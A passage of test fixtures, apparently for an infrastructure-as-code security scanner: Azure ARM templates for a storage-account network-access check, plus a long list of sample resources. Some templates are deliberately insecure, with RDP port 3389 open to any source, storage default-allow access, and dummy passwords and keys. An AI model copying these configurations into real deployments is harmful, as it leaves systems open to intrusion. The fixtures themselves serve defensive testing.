"2016-09-01-preview", "location": "eastus2euap", "properties": { "lockLevel": "None", "displayName": "NirajGSingleVMBuildDemo", "description": "NirajGSingleVMBuildDemo", "authorizations": [ { "principalId": "05250873-b7a8-4392-b112-cf3c65d72ee1", "roleDefinitionId": "8e3af657-a8ff-443c-a75c-2fe8c4bcb635" } ], "packageFileUri": "https://nirajgappliancepackages.blob.core.windows.net/singlestorageaccount/windowsManagedApp.zip" } }, { "type": "Microsoft.Network/trafficManagerProfiles", "apiVersion": "2017-05-01", "location": "global", "name": "abc", "properties": { "trafficRoutingMethod": "Geographic", "dnsConfig": { "relativeName": "name", "ttl": 123 }, "monitorConfig": { "protocol": "HTTPS", "port": 443 } } }, { "apiVersion": "2016-08-01", "name": "validSite", "type": "Microsoft.Web/sites", "properties": { "enabled": true, "reserved": false, "siteConfig": { "phpVersion": "v5.6", "httpLoggingEnabled": true, "appSettings": [ { "name": "appSetting1", "vallue": "appSettingValue1" }, { "name": "appSetting2", "vallue": "appSettingValue2" } ], "connectionStrings": [ { "name": "connectionStringName1", "type": "MySql", "connectionString": "connectionString1" }, { "name": "connectionStringName2", "type": "SQLAzure", "connectionString": "connectionString2" } ] }, "hostNameSslStates": [ { "name": "validSite.azurewebsites.net", "sslState": "SniEnabled", "hostType": "Standard" }, { "name": "validSite.scm.azurewebsites.net", "sslState": "SniEnabled", "hostType": "Repository" } ], "hostingEnvironmentProfile": { "id": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/aseName1" }, "serverFarmId": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/serverfarms/serverFarm1", "keyVaultId": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.KeyVault/vaults/vaultName1", "keyVaultSecretName": "secret1", "password": "0050159BAA314687BC64-BFFDFB066F4E", "cerBlob": "SDSD@%#^#$SDSDS" }, "resources": [ { "type": "config", "apiVersion": "2016-08-01", "name": "appsettings", "properties": { "setting1": "value1" } }, { "type": "config", "apiVersion": "2016-08-01", "name": "connectionstrings", "properties": { "setting1": { "type": "SQLServer", "value": "Connection string value" } } }, { "apiVersion": "2016-08-01", "type": "slots", "name": "staging", "properties": { "phpVersion": "v5.6", "httpLoggingEnabled": true }, "resources": [ { "type": "config", "apiVersion": "2016-08-01", "name": "appsettings", "properties": { "setting1": "value1" } }, { "apiVersion": "2016-08-01", "type": "config", "name": "connectionstrings", "properties": { "connectionName": { "type": "NotificationHub", "value": "Connection string value" } } } ] } ] }, { "type": "Microsoft.Web/sites", "apiVersion": "2016-08-01", "name": "site1", "location": "West US", "properties": { "enabled": true, "serverFarmId": "id", "hostNameSslStates": [ { "name": "s1", "sslState": "Disabled" } ] } }, { "type": "Microsoft.Web/connections", "apiVersion": "2016-06-01", "name": "connection", "location": "West US", "properties": {} }, { "type": "Microsoft.Web/sites/config", "apiVersion": "2016-08-01", "name": "a1/web", "location": "Japan West", "properties": { "numberOfWorkers": 1, "netFrameworkVersion": "v4.6" } }, { "type": "Microsoft.ApiManagement/service", "name": "name", "apiVersion": "2017-03-01", "location": "East US", "sku": { "name": "Developer" }, "properties": { "publisherEmail": "admin@live.com", "publisherName": "org" } }, { "type": "Microsoft.EventHub/namespaces", "apiVersion": "2017-04-01", "name": "namename", "location": "west us", "properties": { "createdAt": "2015-01-01" } }, { "type": "Microsoft.Web/customApis", "apiVersion": "2016-06-01", "name": "abc", "location": "West US 2", "properties": { "displayName": "name1" } }, { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2017-06-01", "name": "name1", "location": "West US 2", "sku": { "name": "Standard_GRS" }, "kind": "BlobStorage" }, { "type": "Microsoft.Compute/disks", "apiVersion": "2017-03-30", "name": "disk1", "location": "East US", "properties": { "creationData": { "createOption": "Empty" } } }, { "type": "Microsoft.Compute/galleries", "apiVersion": "2018-06-01", "name": "myGallery", "location": "East US", "properties": { "description": "Sample gallery description." } }, { "type": "Microsoft.Compute/galleries/images", "apiVersion": "2018-06-01", "name": "myGalleryImage", "location": "East US", "properties": { "osType": "Linux", "osState": "Generalized", "identifier": { "publisher": "samplePublisher", "offer": "sampleOffer", "sku": "sampleSku" } } }, { "type": "Microsoft.Compute/galleries/images/versions", "apiVersion": "2018-06-01", "name": "myGalleryImageVersion", "location": "East US", "properties": { "publishingProfile": { "source": { "managedImage": { "id": "/subscriptions/64646596-7b0f-4f89-86a8-01473e7a1e39/resourceGroups/rgName/providers/Microsoft.Compute/images/imageName" } } } } }, { "type": "Microsoft.Compute/galleries", "apiVersion": "2019-03-01", "name": "myGallery", "location": "East US", "properties": { "description": "Sample gallery description." } }, { "type": "Microsoft.Compute/galleries/images", "apiVersion": "2019-03-01", "name": "myGalleryImage", "location": "East US", "properties": { "osType": "Linux", "osState": "Generalized", "identifier": { "publisher": "samplePublisher", "offer": "sampleOffer", "sku": "sampleSku" } } }, { "type": "Microsoft.Compute/galleries/images/versions", "apiVersion": "2019-03-01", "name": "myGalleryImageVersion", "location": "East US", "properties": { "publishingProfile": { "source": { "managedImage": { "id": "/subscriptions/64646596-7b0f-4f89-86a8-01473e7a1e39/resourceGroups/rgName/providers/Microsoft.Compute/images/imageName" } } } } }, { "type": "Microsoft.ServiceFabric/clusters", "apiVersion": "2017-07-01-preview", "name": "name1", "location": "west us", "properties": { "managementEndpoint": "[concat('http://',reference(concat(variables('lbIPName'),'-','0')).dnsSettings.fqdn,':',variables('nt0fabricHttpGatewayPort'))]", "nodeTypes": [ { "name": "[variables('vmNodeType0Name')]", "clientConnectionEndpointPort": "[variables('nt0fabricTcpGatewayPort')]", "httpGatewayEndpointPort": "[variables('nt0fabricHttpGatewayPort')]", "isPrimary": true, "vmInstanceCount": "[parameters('nt0InstanceCount')]" } ] } }, { "type": "Microsoft.StreamAnalytics/streamingjobs", "apiVersion": "2016-03-01", "location": "west us", "name": "abc", "properties": {} }, { "type": "Microsoft.ServiceFabric/clusters", "apiVersion": "2017-07-01-preview", "location": "west us", "name": "na", "properties": { "nodeTypes": [], "managementEndpoint": "11" } }, { "type": "Microsoft.StreamAnalytics/streamingjobs", "apiVersion": "2016-03-01", "location": "west us", "name": "nam31", "properties": { "outputStartMode": "JobStartTime" } }, { "type": "Microsoft.MachineLearningExperimentation/accounts", "name": "[parameters('newAccountName')]", "apiVersion": "2017-05-01-preview", "location": "East US 2", "properties": { "keyVaultId": "keyVaultId", "vsoAccountId": "vsoAccountId", "storageAccount": { "storageAccountId": "userstoragearmId", "accessKey": "accessKey" } } }, { "apiVersion": "2016-11-01", "type": "Microsoft.ImportExport/jobs", "name": "[variables('importExportJobName')]", "location": "[resourceGroup().location]", "properties": { "storageAccountId": "[parameters('storageAccountId')]", "jobType": "abc" } }, { "type": "Microsoft.TimeSeriesInsights/environments", "apiVersion": "2017-11-15", "location": "West Us", "name": "EnvironmentTest", "sku": { "name": "S1", "capacity": 5 }, "properties": { "dataRetentionTime": "P31D" } }, { "name": "test1", "type": "Microsoft.Devices/provisioningServices", "apiVersion": "2017-08-21-preview", "location": "West US", "sku": { "name": "S1", "tier": "standard", "capacity": 1 }, "properties": { "authorizationPolicies": [ { "keyName": "testkey", "primaryKey": "CQN2K33r45/0WeIjpqmErV5EIvX8JZrozt3NEHCEkG8=", "secondaryKey": "RpkT42rNZl4/J08pI8tnsE2mPbsbuQ//+9x3HSs0XcU=", "rights": "ServiceConfig" } ], "iotHubs": [ { "name": "test.azure-devices.net", "connectionString": "#####################################", "location": "westus" } ] } }, { "type": "Microsoft.Relay/namespaces", "apiVersion": "2017-04-01", "location": "West Us", "name": "NamespaceTest", "sku": { "name": "Standard", "tier": "Standard" }, "properties": {} }, { "type": "Microsoft.ServiceBus/namespaces", "apiVersion": "2017-04-01", "location": "West Us", "name": "aa1234", "sku": { "name": "Basic", "tier": "Basic" }, "properties": {} }, { "apiVersion": "2017-09-01", "name": "[variables('loadBalancerName')]", "type": "Microsoft.Network/loadBalancers", "location": "[resourceGroup().location]", "properties": { "frontendIPConfigurations": [ { "name": "loadBalancerFrontEnd1", "properties": { "publicIPAddress": { "id": "[variables('publicIPAddressID1')]" } } } ] } }, { "apiVersion": "2017-10-01", "name": "[variables('loadBalancerName')]", "type": "Microsoft.Network/loadBalancers", "location": "[resourceGroup().location]", "properties": { "frontendIPConfigurations": [ { "name": "loadBalancerFrontEnd1", "properties": { "publicIPAddress": { "id": "[variables('publicIPAddressID1')]" } } } ] } }, { "apiVersion": "2017-10-01", "name": "[variables('loadBalancerName')]", "type": "Microsoft.Cache/Redis", "location": "[resourceGroup().location]", "properties": { "sku": { "name": "Standard", "family": "C", "capacity": 123 }, "additionalProperties": {} } }, { "apiVersion": "2017-10-01", "name": "[variables('loadBalancerName')]", "type": "Microsoft.Network/networkInterfaces", "location": "[resourceGroup().location]", "properties": { "frontendIPConfigurations": [ { "name": "loadBalancerFrontEnd1", "properties": { "publicIPAddress": { "id": "[variables('publicIPAddressID1')]" } } } ] } }, { "apiVersion": "2017-10-01", "name": "[variables('loadBalancerName')]", "type": "Microsoft.Network/networkInterfaces", "location": "[resourceGroup().location]", "properties": { "addtionalProperties": {} } }, { "apiVersion": "2017-10-01", "name": "[variables('loadBalancerName')]", "type": "Microsoft.Network/networkSecurityGroups", "location": "[resourceGroup().location]", "properties": { "addtionalProperties": {} } }, { "apiVersion": "2017-10-01", "name": "[variables('loadBalancerName')]", "type": "Microsoft.Network/publicIPAddresses", "location": "[resourceGroup().location]", "properties": { "addtionalProperties": {} } }, { "apiVersion": "2017-10-01", "name": "[variables('loadBalancerName')]", "type": "Microsoft.Network/routeTables", "location": "[resourceGroup().location]", "properties": { "addtionalProperties": {} } }, { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2017-10-01", "location": "West Us", "name": "sto725", "kind": "StorageV2", "sku": { "name": "Standard_GRS" }, "properties": { "supportsHttpsTrafficOnly": true } }, { "type": "Microsoft.Network/dnsZones", "name": "[parameters('newZoneName')]", "apiVersion": "2017-09-01", "location": "global", "properties": { "addtionalProperties": {} } }, { "type": "Microsoft.Network/dnsZones/TXT", "name": "[concat(parameters('newZoneName'), concat('/', parameters('newRecordName')))]", "apiVersion": "2017-09-01", "location": "global", "properties": { "TTL": 3600, "TXTRecords": [ { "value": [ "test", "abc" ] }, { "value": [ "123" ] } ] }, "dependsOn": [ "[concat('Microsoft.Network/dnsZones/', parameters('newZoneName'))]" ] }, { "type": "Microsoft.KeyVault/vaults", "name": "[parameters('keyvaultSettings').keyVaultName]", "apiVersion": "2016-10-01", "location": "[parameters('keyvaultSettings').location]", "properties": { "enabledForDeployment": true, "enabledForTemplateDeployment": true, "enabledForVolumeEncryption": false, "tenantId": "[parameters('keyvaultSettings').tenantId]", "accessPolicies": [ { "tenantId": "[parameters('keyvaultSettings').tenantId]", "objectId": "[parameters('keyvaultSettings').objectId]", "permissions": { "keys": [ "get" ], "secrets": [ "get" ] } } ], "sku": { "name": "[parameters('keyvaultSettings').vaultSku]", "family": "A" } } }, { "type": "Microsoft.KeyVault/vaults/secrets", "name": "[parameters('keyvaultSecrets').keyVaultName]", "apiVersion": "2016-10-01", "location": "[parameters('keyvaultSecrets').location]", "properties": { "enabledForDeployment": true, "enabledForTemplateDeployment": true, "enabledForVolumeEncryption": false, "tenantId": "[parameters('keyvaultSecrets').tenantId]", "accessPolicies": [ { "tenantId": "[parameters('keyvaultSecrets').tenantId]", "objectId": "[parameters('keyvaultSecrets').objectId]", "permissions": { "keys": [ "get" ], "secrets": [ "get" ] } } ], "sku": { "name": "[parameters('keyvaultSecrets').vaultSku]", "family": "A" } } }, { "type": "Microsoft.KeyVault/vaults", "name": "accessPolicies", "apiVersion": "2016-10-01", "location": "[parameters('keyvaultSettings').location]", "properties": { "accessPolicies": [ { "permissions": { "keys": "[parameters('b')]", "secrets": "[parameters('c')]" }, "objectId": "[parameters('d')]", "tenantId": "[parameters('e')]" } ], "sku": { "family": "[parameters('f')]", "name": "[parameters('g')]" }, "tenantId": "[parameters('h')]" } }, { "type": "Microsoft.Logic/workflows", "apiVersion": "2016-10-01", "name": "name", "location": "west us", "properties": {} }, { "type": "Microsoft.Logic/workflows", "apiVersion": "2017-07-01", "name": "name", "location": "west us", "properties": {} }, { "name": "mycontainergroup", "type": "Microsoft.ContainerInstance/containerGroups", "apiVersion": "2018-04-01", "location": "[resourceGroup().location]", "dependsOn": [], "properties": { "containers": [ { "name": "nginx", "properties": { "command": [], "image": "nginx", "ports": [ { "port": 80 } ], "resources": { "requests": { "cpu": 2, "memoryInGB": 8 } }, "volumeMounts": [ { "name": "secret", "mountPath": "/mnt/secrets", "readOnly": false } ] } } ], "osType": "Linux", "ipAddress": { "type": "Public", "dnsNameLabel": "demonginx", "ports": [ { "protocol": "TCP", "port": 80 } ] }, "volumes": [ { "name": "secret", "secret": { "sslcertificateData": "certificate-data", "sslcertificatePwd": "[base64('certificate-key')]" } } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountAzureServicesAccessEnabled/storageAccountAzureServicesAccessEnabled-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "adminUsername": { "type": "string", "metadata": { "description": "VM admin user name" } }, "adminPassword": { "type": "securestring", "metadata": { "description": "VM admin password" } }, "vnetName": { "type": "string", "defaultValue": "VNet1", "metadata": { "description": "Name of the virtual network" } }, "vnetAddressPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Address prefix for the virtual network" } }, "subnet1Name": { "type": "string", "defaultValue": "subnet1", "metadata": { "description": "Name of the first subnet in the VNet" } }, "subnet1Prefix": { "type": "string", "defaultValue": "10.0.1.0/24", "metadata": { "description": "Address prefix for subnet1" } }, "subnet2Name": { "type": "string", "defaultValue": "subnet2", "metadata": { "description": "Name of the second subnet in the VNet" } }, "subnet2Prefix": { "type": "string", "defaultValue": "10.0.2.0/24", "metadata": { "description": "Address prefix for subnet2" } }, "vmSize": { "type": "string", "defaultValue": "Standard_A1", "metadata": { "description": "Size of VM" } }, "storageAccountType": { "type": "string", "defaultValue": "Standard_LRS", "metadata": { "description": "Geo-replication type of Storage account" }, "allowedValues": [ "Standard_LRS", "Standard_GRS", "Standard_ZRS", "Premium_LRS" ] }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "storageAccountName": "[uniqueString(resourceGroup().id)]", "publicIpAddressName": "pip", "vmName": "testvm", "subnetId": [ "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet1Name'))]", "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet2Name'))]" ], "networkSecurityGroupName": "default-NSG" }, "resources": [ { "comments": "Default Network Security Group for template", "type": "Microsoft.Network/networkSecurityGroups", "apiVersion": "2019-08-01", "name": "[variables('networkSecurityGroupName')]", "location": "[parameters('location')]", "properties": { "securityRules": [ { "name": "default-allow-3389", "properties": { "priority": 1000, "access": "Allow", "direction": "Inbound", "destinationPortRange": "3389", "protocol": "Tcp", "sourceAddressPrefix": "*", "sourcePortRange": "*", "destinationAddressPrefix": "*" } } ] } }, { "apiVersion": "2017-09-01", "type": "Microsoft.Network/virtualNetworks", "name": "[parameters('vnetName')]", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]" ], "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('vnetAddressPrefix')]" ] }, "subnets": [ { "name": "subnet1", "properties": { "addressPrefix": "[parameters('subnet1Prefix')]", "serviceEndpoints": [ { "service": "Microsoft.Storage" } ], "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]" } } }, { "name": "subnet2", "properties": { "addressPrefix": "[parameters('subnet2Prefix')]" } } ] } }, { "apiVersion": "2017-09-01", "type": "Microsoft.Network/publicIPAddresses", "name": "[concat(variables('publicIPAddressName'), copyIndex())]", "location": "[parameters('location')]", "copy": { "name": "pipLoop", "count": 2 }, "properties": { "publicIPAllocationMethod": "Dynamic" } }, { "apiVersion": "2016-10-01", "type": "Microsoft.Network/networkInterfaces", "name": "[concat('nic', copyIndex())]", "location": "[parameters('location')]", "dependsOn": [ "[parameters('vnetName')]", "pipLoop" ], "copy": { "name": "nicLoop", "count": 2 }, "properties": { "ipConfigurations": [ { "name": "ipconfig1", "properties": { "privateIPAllocationMethod": "Dynamic", "subnet": { "id": "[variables('subnetId')[copyIndex()]]" }, "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', concat(variables('publicIPAddressName'), copyIndex()))]" } } } ] } }, { "type": "Microsoft.Storage/storageAccounts", "name": "[variables('storageAccountName')]", "apiVersion": "2017-06-01", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Network/virtualNetworks/', parameters('vnetName'))]" ], "sku": { "name": "[parameters('storageAccountType')]" }, "kind": "Storage", "properties": { "networkAcls": { "bypass": "None", "virtualNetworkRules": [ { "id": "[variables('subnetId')[0]]", "action": "Allow" } ], "defaultAction": "Allow" } } }, { "apiVersion": "2017-03-30", "type": "Microsoft.Compute/availabilitySets", "name": "as1", "location": "[parameters('location')]", "sku": { "name": "Aligned" }, "properties": { "platformFaultDomainCount": 2, "platformUpdateDomainCount": 2 } }, { "apiVersion": "2017-03-30", "type": "Microsoft.Compute/virtualMachines", "name": "[concat(variables('vmName'), copyIndex())]", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Storage/storageAccounts/', variables('storageAccountName'))]", "nicLoop", "Microsoft.Compute/availabilitySets/as1" ], "copy": { "name": "vmLoop", "count": 2 }, "properties": { "availabilitySet": { "id": "[resourceId('Microsoft.Compute/availabilitySets', 'as1')]" }, "hardwareProfile": { "vmSize": "[parameters('vmSize')]" }, "osProfile": { "computername": "[concat(variables('vmName'), copyIndex())]", "adminUsername": "[parameters('adminUserName')]", "adminPassword": "[parameters('adminPassword')]" }, "storageProfile": { "imageReference": { "publisher": "MicrosoftWindowsServer", "offer": "WindowsServer", "sku": "2016-Datacenter", "version": "latest" }, "osDisk": { "createOption": "FromImage", "managedDisk": { "storageAccountType": "Standard_LRS" } }, "dataDisks": [] }, "networkProfile": { "networkInterfaces": [ { "id": "[resourceId('Microsoft.Network/networkInterfaces', concat('nic',copyIndex()))]" } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountAzureServicesAccessEnabled/storageAccountAzureServicesAccessEnabled-PASSED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "adminUsername": { "type": "string", "metadata": { "description": "VM admin user name" } }, "adminPassword": { "type": "securestring", "metadata": { "description": "VM admin password" } }, "vnetName": { "type": "string", "defaultValue": "VNet1", "metadata": { "description": "Name of the virtual network" } }, "vnetAddressPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Address prefix for the virtual network" } }, "subnet1Name": { "type": "string", "defaultValue": "subnet1", "metadata": { "description": "Name of the first subnet in the VNet" } }, "subnet1Prefix": { "type": "string", "defaultValue": "10.0.1.0/24", "metadata": { "description": "Address prefix for subnet1" } }, "subnet2Name": { "type": "string", "defaultValue": "subnet2", "metadata": { "description": "Name of the second subnet in the VNet" } }, "subnet2Prefix": { "type": "string", "defaultValue": "10.0.2.0/24", "metadata": { "description": "Address prefix for subnet2" } }, "vmSize": { "type": "string", "defaultValue": "Standard_A1", "metadata": { "description": "Size of VM" } }, "storageAccountType": { "type": "string", "defaultValue": "Standard_LRS", "metadata": { "description": "Geo-replication type of Storage account" }, "allowedValues": [ "Standard_LRS", "Standard_GRS", "Standard_ZRS", "Premium_LRS" ] }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "storageAccountName": "[uniqueString(resourceGroup().id)]", "publicIpAddressName": "pip", "vmName": "testvm", "subnetId": [ "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet1Name'))]", "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet2Name'))]" ], "networkSecurityGroupName": "default-NSG" }, "resources": [ { "comments": "Default Network Security Group for template", "type": "Microsoft.Network/networkSecurityGroups", "apiVersion": "2019-08-01", "name": "[variables('networkSecurityGroupName')]", "location": "[parameters('location')]", "properties": { "securityRules": [ { "name": "default-allow-3389", "properties": { "priority": 1000, "access": "Allow", "direction": "Inbound", "destinationPortRange": "3389", "protocol": "Tcp", "sourceAddressPrefix": "*", "sourcePortRange": "*", "destinationAddressPrefix": "*" } } ] } }, { "apiVersion": "2017-09-01", "type": "Microsoft.Network/virtualNetworks", "name": "[parameters('vnetName')]", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]" ], "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('vnetAddressPrefix')]" ] }, "subnets": [ { "name": "subnet1", "properties": { "addressPrefix": "[parameters('subnet1Prefix')]", "serviceEndpoints": [ { "service": "Microsoft.Storage" } ], "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]" } } }, { "name": "subnet2", "properties": { "addressPrefix": "[parameters('subnet2Prefix')]" } } ] } }, { "apiVersion": "2017-09-01", "type": "Microsoft.Network/publicIPAddresses", "name": "[concat(variables('publicIPAddressName'), copyIndex())]", "location": "[parameters('location')]", "copy": { "name": "pipLoop", "count": 2 }, "properties": { "publicIPAllocationMethod": "Dynamic" } }, { "apiVersion": "2016-10-01", "type": "Microsoft.Network/networkInterfaces", "name": "[concat('nic', copyIndex())]", "location": "[parameters('location')]", "dependsOn": [ "[parameters('vnetName')]", "pipLoop" ], "copy": { "name": "nicLoop", "count": 2 }, "properties": { "ipConfigurations": [ { "name": "ipconfig1", "properties": { "privateIPAllocationMethod": "Dynamic", "subnet": { "id": "[variables('subnetId')[copyIndex()]]" }, "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', concat(variables('publicIPAddressName'), copyIndex()))]" } } } ] } }, { "type": "Microsoft.Storage/storageAccounts", "name": "[variables('storageAccountName')]", "apiVersion": "2017-06-01", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Network/virtualNetworks/', parameters('vnetName'))]" ], "sku": { "name": "[parameters('storageAccountType')]" }, "kind": "Storage", "properties": { "networkAcls": { "bypass": "AzureServices", "virtualNetworkRules": [ { "id": "[variables('subnetId')[0]]", "action": "Allow" } ], "defaultAction": "Deny" } } }, { "apiVersion": "2017-03-30", "type": "Microsoft.Compute/availabilitySets", "name": "as1", "location": "[parameters('location')]", "sku": { "name": "Aligned" }, "properties": { "platformFaultDomainCount": 2, "platformUpdateDomainCount": 2 } }, { "apiVersion": "2017-03-30", "type": "Microsoft.Compute/virtualMachines", "name": "[concat(variables('vmName'), copyIndex())]", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Storage/storageAccounts/', variables('storageAccountName'))]", "nicLoop", "Microsoft.Compute/availabilitySets/as1" ], "copy": { "name": "vmLoop", "count": 2 }, "properties": { "availabilitySet": { "id": "[resourceId('Microsoft.Compute/availabilitySets', 'as1')]" }, "hardwareProfile": { "vmSize": "[parameters('vmSize')]" }, "osProfile": { "computername": "[concat(variables('vmName'), copyIndex())]", "adminUsername": "[parameters('adminUserName')]", "adminPassword": "[parameters('adminPassword')]" }, "storageProfile": { "imageReference": { "publisher": "MicrosoftWindowsServer", "offer": "WindowsServer", "sku": "2016-Datacenter", "version": "latest" }, "osDisk": { "createOption": "FromImage", "managedDisk": { "storageAccountType": "Standard_LRS" } }, "dataDisks": [] }, "networkProfile": { "networkInterfaces": [ { "id": "[resourceId('Microsoft.Network/networkInterfaces', concat('nic',copyIndex()))]" } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountAzureServicesAccessEnabled/storageAccountAzureServicesAccessEnabled-UNKNOWN.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "adminUsername": { "type": "string", "metadata": { "description": "VM admin user name" } }, "adminPassword": { "type": "securestring", "metadata": { "description": "VM admin password" } }, "vnetName": { "type": "string", "defaultValue": "VNet1", "metadata": { "description": "Name of the virtual network" } }, "vnetAddressPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Address prefix for the virtual network" } }, "subnet1Name": { "type": "string", "defaultValue": "subnet1", "metadata": { "description": "Name of the first subnet in the VNet" } }, "subnet1Prefix": { "type": "string", "defaultValue": "10.0.1.0/24", "metadata": { "description": "Address prefix for subnet1" } }, "subnet2Name": { "type": "string", "defaultValue": "subnet2", "metadata": { "description": "Name of the second subnet in the VNet" } }, "subnet2Prefix": { "type": "string", "defaultValue": "10.0.2.0/24", "metadata": { "description": "Address prefix for subnet2" } }, "vmSize": { "type": "string", "defaultValue": "Standard_A1", "metadata": { "description": "Size of VM" } }, "storageAccountType": { "type": "string", "defaultValue": "Standard_LRS", "metadata": { "description": "Geo-replication type of Storage account" }, "allowedValues": [ "Standard_LRS", "Standard_GRS", "Standard_ZRS", "Premium_LRS" ] }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "storageAccountName": "[uniqueString(resourceGroup().id)]", "publicIpAddressName": "pip", "vmName": "testvm", "subnetId": [ "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet1Name'))]", "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet2Name'))]" ], "networkSecurityGroupName": "default-NSG" }, "resources": [ { "comments": "Default Network Security Group for template", "type": "Microsoft.Network/networkSecurityGroups", "apiVersion": "2019-08-01", "name": "[variables('networkSecurityGroupName')]", "location": "[parameters('location')]", "properties": { "securityRules": [ { "name": "default-allow-3389", "properties": { "priority": 1000, "access": "Allow", "direction": "Inbound", "destinationPortRange": "3389", "protocol": "Tcp", "sourceAddressPrefix": "*", "sourcePortRange": "*", "destinationAddressPrefix": "*" } } ] } }, { "apiVersion": "2017-09-01", "type": "Microsoft.Network/virtualNetworks", "name": "[parameters('vnetName')]", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]" ], "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('vnetAddressPrefix')]" ] }, "subnets": [ { "name": "subnet1", "properties": { "addressPrefix": "[parameters('subnet1Prefix')]", "serviceEndpoints": [ { "service": "Microsoft.Storage" } ], "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]" } } }, { "name": "subnet2", "properties": { "addressPrefix": "[parameters('subnet2Prefix')]" } } ] } }, { "apiVersion": "2017-09-01", "type": "Microsoft.Network/publicIPAddresses", "name": "[concat(variables('publicIPAddressName'), copyIndex())]", "location": "[parameters('location')]", "copy": { "name": "pipLoop", "count": 2 }, "properties": { "publicIPAllocationMethod": "Dynamic" } }, { "apiVersion": "2016-10-01", "type": "Microsoft.Network/networkInterfaces", "name": "[concat('nic', copyIndex())]", "location": "[parameters('location')]", "dependsOn": [ "[parameters('vnetName')]", "pipLoop" ], "copy": { "name": "nicLoop", "count": 2 }, "properties": { "ipConfigurations": [ { "name": "ipconfig1", "properties": { "privateIPAllocationMethod": "Dynamic", "subnet": { "id": "[variables('subnetId')[copyIndex()]]" }, "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', concat(variables('publicIPAddressName'), copyIndex()))]" } } } ] } }, { "type": "Microsoft.Storage/storageAccounts", "name": "[variables('storageAccountName')]", "apiVersion": "2017-06-01", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Network/virtualNetworks/', parameters('vnetName'))]" ], "sku": { "name": "[parameters('storageAccountType')]" }, "kind": "Storage", "properties": { "networkAcls": "defaultAction: allow" } }, { "apiVersion": "2017-03-30", "type": "Microsoft.Compute/availabilitySets", "name": "as1", "location": "[parameters('location')]", "sku": { "name": "Aligned" }, "properties": { "platformFaultDomainCount": 2, "platformUpdateDomainCount": 2 } }, { "apiVersion": "2017-03-30", "type": "Microsoft.Compute/virtualMachines", "name": "[concat(variables('vmName'), copyIndex())]", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Storage/storageAccounts/', variables('storageAccountName'))]", "nicLoop", "Microsoft.Compute/availabilitySets/as1" ], "copy": { "name": "vmLoop", "count": 2 }, "properties": { "availabilitySet": { "id": "[resourceId('Microsoft.Compute/availabilitySets', 'as1')]" }, "hardwareProfile": { "vmSize": "[parameters('vmSize')]" }, "osProfile": { "computername": "[concat(variables('vmName'), copyIndex())]", "adminUsername": "[parameters('adminUserName')]", "adminPassword": "[parameters('adminPassword')]" }, "storageProfile": { "imageReference": { "publisher": "MicrosoftWindowsServer", "offer": "WindowsServer", "sku": "2016-Datacenter", "version": "latest" }, "osDisk": { "createOption": "FromImage", "managedDisk": { "storageAccountType": "Standard_LRS" } }, "dataDisks": [] }, "networkProfile": { "networkInterfaces": [ { "id": "[resourceId('Microsoft.Network/networkInterfaces', concat('nic',copyIndex()))]" } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountAzureServicesAccessEnabled/storageAccountAzureServicesAccessEnabled-VARIABLE.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { 